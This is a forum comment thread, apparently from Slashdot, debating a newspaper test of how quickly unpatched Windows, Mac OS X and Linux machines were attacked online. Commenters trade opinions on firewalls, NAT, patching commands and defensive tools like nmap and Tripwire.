My boss is more technical than myself and a total MS cheerleader. I used to be a Mac nutcase (I still have issue 1 of MacAddict) and used FreeBSD at work. I loathed MS products and had the same attitude that most people on here have. I then landed a better paying job supporting W2K Pro for MS, then shortly after that, NT4 Server. You'd think a critic of MS being exposed to nothing but broken Windows boxes would hate it that much more, but I didn't. Instead, I realized that it really is a good operating system if you know how to use it and the amount of features it offers to a business is unparalleled. I'd estimate that less than 1% of the cases I worked were a result of the product itself. After working with the NT family of operating systems for 6 years, I have a lot of respect for the OS and feel that in my youth, I just needed an enemy. Good vs Evil. Microsoft is a monopoly and had some very shady history such as the whole fiasco when he got a sneek peek at the Mac and rushed Windows out the door. It really is quite sad that I let my hatred stop me from progressing for such a long time.

"No matter how great the OS is, lack of applications is what holds it back"

That's true to an extent. If you walk into a business though with a solid offering, covering all the business needs and it saves them money and interoperates with industry standard (Even if it is a proprietary format), they'll bite. End users will then be comfortable with what you offer after using it at work and not hesitate to take it home.

-Lucas

Re:Are you all retarded?

[argent]

I used to administer about 100 Windows boxes. None of them have were compromised over a period of 10 years except by a user deliberately violating my security policies, which included bans on Internet Explorer and Outlook. A properly secured Windows network is not a problem.

However, out of the box, Windows XP SP2 should not be set up on the internet without additional protection:

The way Windows Networking (LAN Manager, etcetera) operates, you can't selectively firewall individual services because they all use the same ports. If it's got networking enabled (as it does out of the box), it is subject to attack. Until Windows Update has been run to bring it up to spec, it should be kept behind an external firewall.

Also, the design of Internet Explorer is inherently insecure and can not be fixed without major incompatible API changes. Until Microsoft addresses this I recommend using non-Microsoft browsers only. This issue doesn't apply to the Macintosh version of Internet Explorer, ironically.

Re:Are you all retarded?

[Nintendork]

"It's just too much trouble for them to shift-click and do a 'run as'"

I don't have any trouble doing that and anyone who runs unpatched client apps on a production server as a domain admin should have their rights taken away and be demoted to junior admin.

-Lucas

Re:Are you all retarded?

[toadlife]

"unpatched client apps on a production server as a domain admin..."

Running any client apps, patched or unpatched, on a server is idiotic.

"...should have their rights taken away and be demoted to junior admin."

I agree. Unfortunately, in certain corporate cultures/settings, it just doesn't work that way. :(

Re:Are you all retarded?

[Lars T.]

Let me guess: apart from protecting your Windows boxes from the evil outside, you also have a strict "nobody brings his own notebook" policy. Well, the man in the iron mask also was never victim of a pick-pocket.

Re:Are you all retarded?

[Nintendork]

I meant to string all of the offenses together in one sentence.

1) Client Apps on server
2) Unpatched
3) Logged in as domain admin

Maybe any one of these three by itself would warrant just a backhand, but all three combined is just asking for a smackdown.

-Lucas

Re:Survival of the fittest?

[geminidomino]

computer scientists on a quest to design their own life in turn.


Iteration X, I presume...

What, no sig flames yet on this thread? ;)

Judging by the speed of the server...

[CaptainPotato]

... I suspect that the Denver Post may think that its server is coming under a massive attach at present from thousands of Slashbots...

Surprizing to me:

[SnprBoB86]

that there are still so many infected machines out there with sasser and blaster and other worms/viruses/etc and no one does anything about it!

ISPs should detect infected machines. Whenever these machines attempt to view a web page, show a page to download a removal tool as well as the latest patches. Allow the system to be repaired, and then reallow it on the network. Provide some override (and a number to call to access it) incase someone badly needs the internet and doesn't have time to fix the virus, but keep the machine marked and make sure to follow up on it. ISPs could call make this virus protection mechinism a compedative feature.

Re:Surprizing to me:

[bofkentucky]

As a local ISP sysadmin, we try, but when your customers can jump ship to the national carriers that will keep you no matter how infected your machine is, we risk loosing our asses if we try to do the right thing.

I'm a small government type, but we need a "Computer Centers for Disease Control", hard and fast quarantine protocols for the worst offenders out there. It would have to be a shared registry of "banned" mac adresses, and it would be costly.

Re:*nix will be a major target of worms in the fut

[jackDuhRipper]

Worms ripped apart Unix in the 80s, and despite what has been hardened since, the methodologies which ripped Unix apart in the 80s mostly are still being used in Windows development.

Which worms are we talking about here?

I honestly hope open source has something to compete for their future desktop environments, or else desktop Linux could be relegated to processors too slow to deal with the overhead.

Please rest assured that, by the time longhorn ships - as well as between today and that point - "open source" will offer plenty of competition.

Paying for patches

[_Hellfire_]

Most companies, however, chose to pay a Linux vendor in order to receive security patches.

My golden rule:

apt-get update
apt-get upgrade

Once a week. For free.

Re:Paying for patches

[XpirateX]

Yes, but where is the accountability? Where is the increased ROI and lower TCO? Rabble rabble rabble...I WANT IT ON MY DESK YESTERDAY!

Re:Paying for patches

[skiman1979]

either that or

urpmi.update -a -c
urpmi --update --auto-select

or even

emerge sync
emerge -uD world :)

Re:Paying for patches

[MooseGuy529]

Or, for the Gentoo users,

emerge sync
emerge -u world

Isn't it nice having your OS manage all your software? I'd hate to have to go back to checking for updates on each program separately like on Windows (or usually not updating them). Linux distribution writers have really done something awesome with things like apt-get, portage, and the like...

Re:Paying for patches

[Ih8sG8s]

I'm sorry, but if you do a blind emerge world on a prodcution server, you're fired. Just drop your stuff and go. A home box is one thing, a mission critical server is quite another.

Re:Paying for patches

[MooseGuy529]

I always do emerge -au world instead; I was just showing emerge -u world for simplicity. I never do it blind like that. (I also don't run mission-critical servers, yet ;-)

Life on the edge

[erwin]

first, I didn't RTFA, but I wanted to relate our exprience at a recent technology conference my employer hosted. The names of the guilty/innocent have been scrubed to keep this post from being moderated into Flamebait.

Part of the conference was a series of hands-on labs that we were hosting using loaner equipment from major manufactures. The network was provided my a major ISP through a national hotel (where this part of the conference was being held).

The labs were assembled by volunteers, and were pretty much infected beyond use with spyware and viruses within about 10 minutes of coming online. It was the worst thing I'd ever seen. We had 20+ people scrubbing the machines off-line for literally HOURS, only to have them reinfected once they came back online (now behind a firewall).

To compound the issue, we couldn't feasibly reimage the machines because the vendor donating them gave us at least 10 different models with 2-3 variations on each model.

In the end we threw in the towel, refunded people's money, and let the Mac lab (which remained unaffected) continue their presentations.

just my $.023233432322

I wouldn't say it 'earns a pass'

[toadlife]

I wouldn't say they get a "pass", but lets just be thankfull that Microsft finally got it right by turning the damn firewall on by default with SP2.

Excuse my ignorance about Macs, but does OSX 10.2 come with a firewall turned on by default?

Re:I wouldn't say it 'earns a pass'

[MaestroRC]

However, it's not a "true" firewall. The first version of OS X to come with a firewall was panther, aka 10.3. OS X just does not run any unnecessary services like file sharing, printer sharing, web, ssh, or whatever; HOWEVER, it provides an incredibly easy method to turn these services on, along with the firewall.

Re:I wouldn't say it 'earns a pass'

[toadlife]

IMO, no ports being open by default is a good as having a firewall turned on by default. The whole "you must filter all of your ports to be secure" mantra (read: Steve Gibson) is highly overrated.

Re:I wouldn't say it 'earns a pass'

[skingers6894]

Indeed. It makes users feel good though doesn't it? I have a "firewall" in front of my closed ports. If a tree falls in the forest and there is no port open to log the event did it really even happen?

Re:I wouldn't say it 'earns a pass'

[toadlife]

"If a tree falls in the forest and there is no port open to log the event did it really even happen?"

lol. You managed to make me crack a smile there. :)

Re:redhat 9 super secure?

[thegrassyknowl]

Don't forget that their idea of being "attacked" included regular-old port scans and pings. Looks like they they just plum configured the network badly...

Or it means that RH9 wasn't logging portscans and pings... which, AFIK, it didn't do with any of the default firewalls. It is only newer distros that log potentially malicious traffic.

rhnsd? ntpd?

[Ars-Fartsica]

not sure about ntpd, but rhnsd does connect to the network and is turned on by default if i recall.

Re:rhnsd? ntpd?

[LnxAddct]

Rhnsd probably does connect out by default, but as long as it doesn't receive any incoming connections whats the problem? As far as I know, rhnsd does not sit there waiting for something to connect to it. In fact to quote the man pages: " rhnsd is a background daemon process that periodically polls the Red Hat Network to see if there are any queued actions available." It goes on to state that by default it only polls once every 4 hours. So this is in no way a security threat, but yet is of great benefit to keeping you secure and up to date with patches. All it does is see if there are updates, if there are it lets you know. Please correct me if I'm mistaken.
Regards,
Steve

Re:rhnsd? ntpd?

[SillyNickName4me]

> rhnsd is a background daemon process that periodically polls the Red Hat Network to see if there are any queued actions available."

So tell me, do you know how it conencts to the Red Hat Network? DNS hijackign is not uncommon nowadays.. (oh, and hasn't been for the last decade now that I think of it)

> It goes on to state that by default it only polls once every 4 hours. So this is in no way a security threat,

It is unless it has been made such that it will only connect to the correct servers and verifies that properly.

Any software that does things in the background without user intervention is a potential security risk, more so when it communicates with the outside world, and even more so when it listens to conenctions from the outside world, but even without those 2 it is still a potential security risk.

> but yet is of great benefit to keeping you secure and up to date with patches. All it does is see if there are updates, if there are it lets you know. Please correct me if I'm mistaken

It is very usefull indeed, but sucha service is in itself a security risk.

Installed vs running

[Craig Ringer]

While this is true, the chances are that most services will not be started by default on such a system. I was quite impressed with the default FC3 install - (almost) no services running by default, and a packet filter in place anyway.

While it is better not to have the services installed at all, it makes relatively little difference since the attacker would need some form of local access in order to use them if they do not run by default.

Re:idiot...

[rpbailey1642]

Wow, that was an angry response. Yes, I did read the article before I posted, that's how I knew they did upgrades on Win XP SP2 and none of the other systems. The article explictly stated that the Win XP SP1 system was exploited by Blaster and Sasser in under 18 minutes, which is good enough to call them "hacked". There are three faults with the second part of your argument stating that if they haven't upgraded to SP2 they deserved to be hacked. In the first, there are those who can not upgrade due to programs (custom jobs, programs no longer supported by their manufacturers) that will no longer work with SP2. In the second, there are those who turned off (or had a "helpful" tech turn off) their automatic updates and have no idea how to update their system. Yes, they should know their computers better, but that's a debate for another time and it's one that we've rehashed time and time again. In the third, they only updated Win XP SP2. Had they done all the upgrades on all the systems, I have a feeling the Win system would still not have fared as well as the UNIX-based systems. Remember, there *HAVE* been exploits for XP SP2 in the wild already. Granted, XP SP2 is a step in the right direction, but it is nowhere near perfect. Viruses, spyware, etc are still a problem.

You are anonymous, and most likely you are attempting to troll. I probably should not have bitten but what can I say, it gave me the chance to rant a bit.

Outdated Mac OS X

[HitByASquirrel]

If you notice, Jaguar (Mac OS X 10.2) was used in this test. This is an operating system that was phased out in late 2003.

There's something to be said about that VS a windows PC with SP1 installed.

Re:Outdated Mac OS X

[teamhasnoi]

Apple is still releasing security updates for it - I just got one in Software Update last week. My old G3 makes a kickass server running 10.2.8 :)

No viruses, reinstalls, or paperclips telling me what it looks like I'm doing!

Re:Outdated Mac OS X

[toddestan]

There are lots of non-SP2 Windows XP computers out there, and enough people connecting them to the internet to make trying to hack them worthwhile.

On the otherhand, there isn't a huge number of OSX computers out there, and of those, I would guess few of them still run Jaguar. Why bother?

My geeky solution to NAT...

[toadlife]

I run two Windows boxes behind a BSD router. To avoid the pain of having to change my natd.conf file every time I want to try a new P2P app, I simply forward large group of ports to each of my Windows boxes. Ports 5000-8999 go to one and 9009-12999 got to the other. No *Windows* services run on these ports, so I don't lose any sleep over it.

Still think detritus should be removed

[Ars-Fartsica]

Its true that unused packages are just likely "taking up space", but on Fedora they are also in your RPM database, so commands like rpm -qa will take longer (I know, not a big deal). There is the off chance that something you are unaware of could contain spyware. Once again, unlikely in most linux software, almost impossible in a Fedora distro binary, but why take chances? If its gone you know for sure it will not bother you. Since you didn't need it, no loss.

In any case regardless of the OS I think its good practice to remove all unused code.

Yes, Yet again...

[Barlo_Mung_42]

The point was to test the "Out of Box" experience. XP with SP2 what users get out of the box now. The firewall is on by default and the automatic update is the default selection.
SP2 was such a large step forward in terms of user security that I'm sure they sleep quite well. This is yet more proof that these three OSs are now on even footing in terms of security.

Re:Yes, Yet again...

[hdparm]

This is total bullshit. Install stock XP, go to Windows update site and see how many critical updates are there for you. Now choose SP2 as a first one to install. Reboot, go to update site again, check how many critical fixes are waiting for you now.

Last time I did it it was 43:8 SP2:XP.

However, let's just say you give default installs of XP SP2 and your choice of recent Linux distro to two equally "non-technical-unable-to-think-run-every-exe-attac hment" users to do with them their usual stuff. Guess which machine will be compromised (virus, spyware, worm, root, whatever) first. I'll call any bet you put down. You?

Re:Yes, Yet again...

[Keeper]

Install stock XP

Microsoft doesn't sell SP1 versions of WinXP anymore.

Re:Yes, Yet again...

[LilMikey]

Microsoft doesn't sell SP1 versions of WinXP anymore.

But the gazillion users that bought their machine with SP1 on it aren't going to run out and grab a SP2 CD when they have to reinstall their spyware laden purple Vaio.

Re:Yes, Yet again...

[Keeper]

Then by your logic an older version of Rehat should have been used as well.

Re:Yes, Yet again...

[LilMikey]

I wouldn't have disagreed with it. Especially 9 which it seems tons of people are still using.

The Spin from Redmond

[craXORjack]

Windows XP with Service Pack 1 was attacked 4,857 times and only infected once!

Windows XP with Service Pack 1 dynamically adapted to become immune to further attacks by the Blaster and Sasser worms in only 18 minutes!

Within one hour Windows XP with Service Pack 1 had apprised the situation and chosen to join the winning side!

Windows XP with Service Pack 1 single handedly fought 1600x as many viral foes as its nearest competitor! Yet it bravely continues to withstand the onslaught of its most cunning viral foe, the GPL!

The infidels are committing suicide by the hundreds on the gates of Windows XP... Be assured, Windows XP is safe, protected. Microsofties are heroes.

Shields Up!

[baconbit]

Check for open ports on your pc. https://www.grc.com/

Re:Survival of the fittest?

[Sgt_Astro]

"proof that will finally breech the almost religious adherence to the current theory of evolution"

Religious adherence to evolution? Are you trying to be Ironic?

Don't look now but.... http://devolab.cse.msu.edu/software/avida/

The evolutionaries are one step ahead of you!

Re:Fabulous Thunderbirds???!

[daeley]

I don't know, that was a pretty cool song the first 4700 times I heard it. ;)

I disagree

[toadlife]

"A simple NAT is not enough. A firewall is required."

Required for what? What if you don't have any services listening on open ports?

"The best full security suites are free: linux, openbsd, etc. Run them on an old PC for your firewall/NAT. They are configurable to your heart's content, unlike cheap, buggy dlink and linksys hardware."

The last time I checked, Linksys routers ran Linux.

Is it me or does this article smell bad?

[Gverig]

One glitch was already mentioned, "Experts say spyware programs are also necessary for Windows users". I guess yeah, if you are a Windows user you are entitled to spyware soft and every virus out there but I don't think your help is really needed with installing it. Then, "Windows SP 1" and "Windows SP 2"... XP is mentioned only at the very end. Yes, it is obvious what Windows they are talking about but still, Windows is not the name, Windows XP is. Then, patching and builds. SP is just a service pack, there are security updates, patches, builds... Just saying "Windows XP" does not define what is actually installed on the machine. No details on atacks (except Windows SP1). On spyware, "Cookies are used by online companies to track user preferences". I hate when Ad-aware tells me that cookies are spyware but I understand the idea that it would not make sense to make a separate category for it. But an article?! IMO, lots of bull with conclusion that everybody except the author knew a while ago.

Windows 3.1x may be old, but it's "tough enough"

[Anonymous Coward]

It may sound crazy, but Windows 3.1x will stand up to the test very easily out of the box. Just run the Shields Up test on grc.com and you'll find that Windows 3.1x has NO ports open by default, not even port 139 which is open on all versions of Windows from 95 onward.

Re:idiot...

[rpbailey1642]

Story about the firewall not blocking Windows shares. I think Slashdot carried this story a long time ago as well. Do not get me wrong, the firewall and steps in SP2 are a nice step, but they simply are not enough at this point. Unless the user is actively involved, no default Windows setup will be enough.

Re:What I'm not surprised about

[spacecowboy420]

Ok, I'm responding to an ac, but oh well -

Which OS is propagating the viruses/trojans/malware?
Windows.
Which OS does it infect?
Windows.

Yes, other oses were attacked - [by windows zombies] - but not compromised, in fact there are very limited examples of exploits propagating through other oses aside from windows [I can find 7 linux viruses, all of which do not propagate nor are effective to any measurable extent].

It is likely in the future that one may find a way to compromise a linux/mac in the same way, but that day has yet to come.

And that is why we question findings that windows is more secure than linux. It is GLARINGLY obvious that this is untrue to anyone sane.

Riiiiiiiiiight....

[theantix]

Microsoft's leadership position means that more viruses are written for Windows, said Silver, who estimates that 96 percent of all desktops and laptops worldwide used Windows at the end of 2004.

So Microsoft get's a pass on viruses because it is popular and has a lot of software written for it? And then those same people use the amount of software available for MS Windows as a reason why Windows is superior. You can't have it both ways: if you think Windows has an advantage because of a larger application base you have to include the malware applications like viruses and spyware as well.

You could wrongly argue that when Linux has a larger installed base it will have the same problems as MS Windows. But even if that were true, it's new popularity would mean that more commercial applications like Photoshop would be written for it also. The blade turns both ways for better and for worse, yet MS Windows apologists try to claim the best of both worlds.

Whats an attack?

[Anonymous Coward]

The article makes great mention of "attacks" but fails to mention what an "attack" actually consists of.

For example: they say Windows XP SP2 got attacked 16 times.

Does that mean it got port scanned 16 times? It can't as i'm sure it got port scanned many more times than that.
or
Does that mean it got infected 16 times? It can't because they said it survived all attacks.

So what on earth were these attacks?

Re:yeah...

[helioquake]

That could've been funny if i spelled "tough" right...oops, I meant to submit it as AC...oh screw that.

Re:*nix will be a major target of worms in the fut

[positively_mlee]

Hamster didn't know it was going to happen. That worm uncovered some great bugs in the early days.

Food run anyone?

low, very low

[St. Arbirix]

The Macintosh system received three attacks. Two of the Linux systems received eight attacks each, though Red Hat's version of Linux received no attacks at all.
But in the end, none of the attacks were successful.
[...]
Windows Service Pack 1, or SP 1, however, was another story.

followed by...

Microsoft responded that the tests prove that any operating system is vulnerable when not patched.

Is this not the most blatant lie/doublespeak/misrepresentation-of-truth ever? Who in the world could stand behind a statement like that?

Re:low, very low

[praetis]

Microsoft responded that the tests prove that any operating system is vulnerable when not patched.

No, the tests prove that SP1 computers die a maggot-ridden death when not patched.

As a counterexample, these tests certainly don't prove that UNIX systems being used successfully today since before M$ even existed are "vulnerable when not patched"... whatever that even means outside the world of M$.

-1 Redundant

[DJStealth]

At the risk of being redundant myself, I would like to reiterate my request to be able to mod articles.

Re:What I'm not surprised about

[spacecowboy420]

Reread the post.

Only windows propagates the viruses, and only windows gets them.

No propagating virus etc has been written for *nix. Yet.

No matter your level of objectivity, the FACTS speak loudest.

Re:Windows 3.1x may be old, but it's "tough enough

[otis wildflower]

Did Windows 3.1 even have listening services by default? I recall having to add a separate TCP/IP stack, and being able to choose from several different vendors (which would bundle their daemons along with the stack).. I recall Chameleon, some FTP.com stuff, Trumpet Winsock...

It's hard to remote sploit something that isn't even listening....

Useful link

[Gary Destruction]

Here's a useful link for securing Windows Systems: Black Viper.com

Potential != Actual

[jd]

Let's say that 1:10 services has a critical exploit in it that is practical and not merely theoretical. So, if I ran 100 services, 10 would have such holes. Provided I identified all 10 correctly and disabled them, I'd now be running 90 services that were proof against attacks of that time.

Now, let's say I ran just 90 services at random at the start. 8 of them have holes, by the assumption above.

90 services in each case, but one is secure and the other isn't. Arguably, then, it is NOT the number of services that is the deciding factor. It is the care with which they are selected and the environment they are placed in.

That latter part is more important than many think. Let's say you ran an FTP server. That's a fairly risky system, as it needs access to many different directories at some point or other.

A sensible way to run it would be to compartmentalize it as much as possible. If you're using a hardened Linux kernel, that would involve defining a very restricted role and placing the server within it. Breaking into the server then wouldn't do much, because the kernel would prevent an attacker from breaking out of the role.

The second defence is to run suspect servers inside a bounds-checker, to catch buffer overflows and other common methods of attack. It's not 100% secure, but it would limit the chances of an attack being successful.

The final measure is to make all connections indirect by using transparent proxies. If the proxy silently dropped anything that didn't make sense, vulnerabilities involving the faulty handling of malformed packets would be harder to exploit.

And yet....

[WindBourne]

it is the common ones that are the normal openings, such as 80 on windows with IIS.

Re:Program to count scan hits?

[CrackerJack9]

I'd recommend Snort or an IDS of some type. Sorting through the logs (pretty easy with some knowledge of them and sql commands) you could easy generate a count of a specific alert (port scans). I have a catch-all rule that looks for SYN packets and specify some specific ports as well.

Re:What I'm not surprised about

[Bill Currie]

That 95% is only for the desktop. It's a lot lower for servers (though I don't know how much and won't pull any figures out:). Most servers are connected to some serious bandwidth and/or have access to some very interesting information. Which is the more desirable target? A well connected server or a desktop behind a "slow" connection (ie, less than 512kb upstream)? Sure, getting ahold of a lot of desktops will outdo a single server when it comes to DOS attacks or spamming, but then controlling them becomes an issue.

Also, windows desktops tend to get turned off a lot. Linux (etc) desktops tend to get left on 24/7 (and generally better at networking anyway), so they would make a more desirable zombie machine, even if they only make up 5% of the "market".

Market share is not the reason for the relative lack of *nix viruses/worms/etc because there are enough of them out there to make a successful virus very much worth the effort. It's the shere difficulty of creating a successful virus for *nix that leads to the lack of *nix viruses etc.

Security has been on the minds of *nix developers longer than (networked, anyway) Windows has existed. UNIX might be 30+ year old tech, but that's 30+ years of evolution, including at least 15 of security audits (for the userland stuff) and new stuff tends to be developed with security in mind (sure, holes get in, but they also tend to get fixed quickly). I believe that is the real reason for the dearth of *nix viruses: they can only survive in virtual petri dishes; they just don't get far in the wild anymore. Sure the was the lion worm back in 2000, but it died out rather quickly (unlike those IIS worms of the same time that are still going).

Internet Auditing Project

[jd]

This reminds me of the fuss over the Internet Auditing Project, six or seven years ago, in which it was revealed that something like 1:3 Unix systems was vulnerable to attack, across the entire visible realm of the Internet.

The data collected was interesting, in that it did show that admins were way too lazy and complacent. However, the resolution of the information presented was too low to actually do anything useful.

This is much the same. It is interesting, it does show the perils of negligence, but there are way too many variables and unknowns for this to be actually useful in preventing attacks.

Did attacks vary with time? Did attackers fingerprint the OS' and then target Windows (explaining why there were fewer attacks on other systems) or did they target all machines equally but with attacks assuming a Windows OS?

How were attacks counted? By what measure was something deemed an attack, as opposed to something accidental or incidental? (Broadcasts happen, guys, especially on something like cable where you've a shared line.)

For that matter, was this using a shared line or something dedicated? What was the bandwidth used? Would the stats have differed, if there had been a greater capacity to handle the traffic?

Although we're told this just dealt with machines "connected to the Internet" and not going to websites, that is not strictly the case. The Windows boxes did auto-updates, which means that they had transmitted data. If it was a shared line, or if there was a hacked machine en-route, the Windows boxes would have been visible and identifiable as Windows machines. The Linux boxes, transmitting nothing, would be much stealthier and therefore only prone to genuinely random scans.

In consequence, what can we really conclude from this test? I would say nothing, unless it was re-run with Linux simulating calls to the Windows update system at Microsoft.

If we saw an explosion of attacks, as a result, then we can argue that it is not Windows that attracts the assaults but the patching mechanism.

There is a lot that COULD be learned, through rigorous controlled tests, but as this was neither rigorous nor controlled, I don't see that we learn anything other than the world isn't 100% safe. If the researchers didn't know that beforehand, I pity the researchers.

Re:Internet Auditing Project

[Daengbo]

Since you appear to know what you're talking about, I have a question.

I net installed Debian testing with iptables, portsentry, snort, and chkrootkit. Http, ssh and webmin are exposed. Webmin is limited by IP to the range of my work IP (dynamic). Ssh login is limited to one user. I update daily and check my logs about three times a week. Is there anything else I can reasonably do to protect myself?

Re:Internet Auditing Project

[eatmadust]

you can regularily scan yourself with nmap, to see if you have any unwanted open ports (for example 631 for cups). cups is open to the internet with most distros.

Re:Internet Auditing Project

[SillyNickName4me]

nmap is a good one to try, nessus may be better even (tho it is a bit more complex to setup properly) since it can do some more thorough probing of enabled services and also make you aware of basic misconfigurations in those.

Re:Internet Auditing Project

[clarkc3]

you can always make it so that your system comes back with a different OS fingerprint than it should - there is a guide here for defeating nmap OS fingerprint detection

Re:Internet Auditing Project

[jd]

TARA will scan your box for files with dubious permission settings. It's a little long in the tooth, so it might miss some things and be over-paranoid about others, but it can't hurt to do a quick scan.

Run an nmap on your machine, make sure that there's nothing unexpected showing. Scan UDP as well as TCP. It is just possible something got overlooked and it is always worth checking for that.

Nessus is a little complex to set up, but is a valuable tool for verifying that the services on your machine don't have unexpected holes. There are remote Nessus scanners, but you can't be 100% sure that they have the latest checks and you certainly can't be sure that the results only come to you. They are an option, though.

Another excellent tool is Tripwire. This makes sure that files don't get modified unexpectedly. Have it monitor all directories that are supposed to be static. Just remember to reset the fingerprints after an update.

If you want a higher level of security than that, then there are several excellent kernel patches that you want to apply. If you are using Linux 2.4, then you very likely want the OpenWall security patch. It doesn't make Linux bullet-proof, but would likely stop a good many attacks.

IPPersonality is a little old - there are probably newer patches that do a similar job, though. The idea of the patch is to conceal the type of OS, so that scanners can't tell what you're running.

I can't remember the names, but there are also patches for randomizing the TCP sequence numbers and process ID sequence numbers. It makes it harder for an attacker to track what is going on.

If you want to put in a little more effort, then GRSecurity is one of the best kernel hardening projects out there.

Finally, if you want to have a bit more confidence that what you've done really has improved security, the Linux Testing Project can be used to check for EAL3 compliance and to verify that major components aren't obviously flawed. I'm hoping SuSE/IBM will release the EAL4 tests soon, but there's no guarantee of that.

Re:Internet Auditing Project

[Daengbo]

You know, I looked at tripwire, but I thought that, since I didn't install it immediately after installation, that it wouldn't be very useful, but I guess it can't hurt.

I have also looked at spoofing the OS, but nothing appears to be available for kernel 2.6.

GRSecurity is a great project, and I'm looking at how to implement that and/or SELinux without making day-to-day use of my box impossible.

Thanks for your great suggestions.

truer words were never spoken....

[IchBinEinPenguin]

"Free spyware programs are available at www.download.com"

:-)

Sometimes you have no choice

[Marran Gray]

While I agree that it might have been instructive to include, say, RedHat 7 in the lineup, security of original XP is still an important consideration. First, to hear MS at the time, XP-SP1 should have been more solid then and should be more solid now. But far more importantly, we see how vital it is to fully patch your XP system before connecting it to the internet. And where do I get those patches from? Oops...

The catch-22 is that time-to-infection is much shorter than time-to-patch for Windows XP, even with a contemporary internet connection. If you don't have SP2 media, and don't have some other means of (manually) acquiring the latest patches, you're dead in the water. Yes, there are workarounds; you can install some ice of your own before you connect, for that matter, but that obviates all the really neat security features of SP2 with a 3rd-party solution. "Not the solution he had in mind..."

Admittedly, part of this is due to the fact that Windows is "productized", i.e. you have a box containing Windows and you can add patches. With Linux operating systems I think there's a lot more sensitivity to versioning and awareness of granularity; you aren't working on this monolithic thing in need of repair but on a collection of components which can be individually upgraded. Partly psychological, yes, but you also have the advantage of simply leaving out "risky" components until you can get everything up to date. You can run a Linux OS with no services, nothing particularly visible except the interface you're downloading updates through. That's not an option with Windows.

Re:Sometimes you have no choice

[Mistlefoot]

You can simply turn on the XP firewall that comes with XP out of the box.

It is more then enough to keep you safe and secure until you get your windows updates. The time to infection is a heck of a long time with that turned on. That it isn't turned on by default was a mistake but to say that XP out of the box will be infected before you have the ability to update is outright incorrect.

Re:Sometimes you have no choice

[frog51]

The easiest options if you have to use Microsoft are:

Get a separate firewall - there is no excuse not to these days, especially as there are many cheap DSL routers with firewalls built in. You owe it to the rest of the Internet!

Make (or scrounge) an XP with SP2 install disk - use Slipstreaming - which will mean you start off from a much more secure base.
,

Re:Sometimes you have no choice

[SillyNickName4me]

> That it isn't turned on by default was a mistake but to say that XP out of the box will be infected before you have the ability to update is outright incorrect.

It is entirely correct, out of the box it will be infected in no time, and preventing it requires you to change its configuration to something that is no longer 'out of the box'.

You are right that the problem can be prevented, and can be prevented without need for 3rd party software, but OUT OF THE BOX, XP will be infected in no time.

Re:Sometimes you have no choice

[bokmann]

Regarding the catch-22, does being behind NAT provide enough of a security/obscurity layer to connect to the internet to get the patches? I know windows has all kinds of things on and listening by default, but with the machine behind NAT, your average script kiddie can't see it to even ping it, let alone get to those other services (provided my router running NAT hasn't been compromised...)

Re:Sometimes you have no choice

[Politburo]

Yes. Being behind NAT and/or a solid firewall will stop most MS exploits. The others are outlook or IE based, so if you're staying away from them (as you should), and not running unknown executables, you'll be fine.

Re:Sometimes you have no choice

[nytmare]

That sounds like a great tactic, but this is the first time I've ever heard it and I'd wager that the vast majority of XP owners don't know it either.

Re:Sometimes you have no choice

[mOdQuArK!]

You can simply turn on the XP firewall that comes with XP out of the box.

I vaguely remember that for early versions of XP, even if you enable the firewall, the firewall wasn't actually activated until a little later in the boot process, leaving your machine "naked" in the meantime. There were many anecdotes about getting infected in the 30 or so seconds it took for the firewall to start up.

To protect yourself, you had to either use a hardware firewall (in which case the software one was kind of irrelevant) or disconnect the machine from the network until the firewall had started up.

Re:Sometimes you have no choice

[Jo Owen]

Yes, having NAT means that a computer on the net cant initiate a direct connection, so your computer will be safe if you dont download any nasties.

Re:Sometimes you have no choice

[DavidTC]

I think that kept happening until SP2.

Re:Sometimes you have no choice

[HD Webdev]

You can simply turn on the XP firewall that comes with XP out of the box.

Unless something has changed, the XP firewall activates just slightly after packets start flying over a newly established network connection.

Re:Sometimes you have no choice

[frog51]

Well - enable it until you have a decent one. The built in one is better than nothing but still pretty shoddy even compared with freebies like ZoneAlarm.

Seriously though - use an old PC as a firewall. A 486 with no hard drive is usable in this context so there is no excuse.

Re:Sometimes you have no choice

[frog51]

I did add (or scrounge) - if a friend has an XP install it takes 10 minutes to make a slipstreamed CD from your genuine XP CD, the SP2 download and a small utility to get the boot image onto the new CD.

Re:Sometimes you have no choice

[EndlessNameless]

:::Partly psychological, yes, but you also have the advantage of simply leaving out "risky" components until you can get everything up to date.:::

This is also true of Windows. You have the same three options with auxilary Windows services as you do with *nix daemons. You can disable it (at command line, type "services.msc" for the management console), you can uninstall it from the system (the IIS service, for example), or you can manually remove it (at command line, type "sc servicename /delete"... caveat: I do not know if XP Home supports this, as there is some command-line functionality that is missing compared to Professional).

At any rate, the point is that granular controls do now exist on the Windows platform. While this doesn't address the subpar firewall, it is quite easy to factor the cost of a third-party application into the TCO (which is $0 for consumer-grade software, as ZoneAlarm is generally sufficient, and Kerio Personal Firewall is very good). This necessitates more involvement on the part of the user, but given the preventive maintenance required for other machines, it does not seem entirely unreasonable.

Re:Sometimes you have no choice

[NaDrew]

Unless something has changed, the XP firewall activates just slightly after packets start flying over a newly established network connection.

Yes, something changed--as of SP2, the firewall activates before the network interfaces.

I use Gentoo

[proverbialcow]

I just used 'emerge -C security_holes', and it didn't find anything to remove. ;)

I do it

[Phil Urich]

I have no firewall, or router. I'm running XP SP1. And I've never had a single problem (my virus scanner hasn't even had to do any work . . . and I have open shares, including an upload folder!).

By conventional logic, my box should be dead by now. Especially since I keep it on nearly 24/7, connected up to teh intarweb. Go ahead and say I'm just lucky, but I think that if you just have a computer reasonably configured, the over-the-top security that most people think is necessary . . . well, it isn't. I do update with security patches often, and that's about as far along as I go with conventional means of protection.

So what's the secret, then? I don't entirely know, I think it must be alot of little things combining. Partially, I think things aren't quite as horribly insecure as people think; just that when they are, and they often are by default, things go so horribly wrong that it colours one's perspective on the issue. The other thing is, I don't use any Microsoft products other than Windows itself, really. Third-party chat, Eudora for e-mail, Firefox and Opera for browsing, WordPerfect and OpenOffice for all the office-style needs, etc etc. True, that isn't at all what the original article is talking about, but I'm hardly the first to deviate from topic here.

Re:I do it

[Anonymous Coward]

If you're downloading security patches then haven't you updated to SP2? I mean that's what the patches do...

And if you've been running without a firewall for all this time on SP1 with open shares and a default config, there is simply no way that you are not infected or rooted with something. Maybe someone hacked you, installed a root-kit, and firewalled you?

You're simply insane... really, you hook an unsecured SP1 box to the internet and within minutes it will get infected. Maybe your ISP blocks access to certain ports for security reasons? I know mine blocks 135-137 and 445 to keep it's customers from getting hit.

Re:I do it

[Shanep]

I have no firewall, or router. I'm running XP SP1. And I've never had a single problem

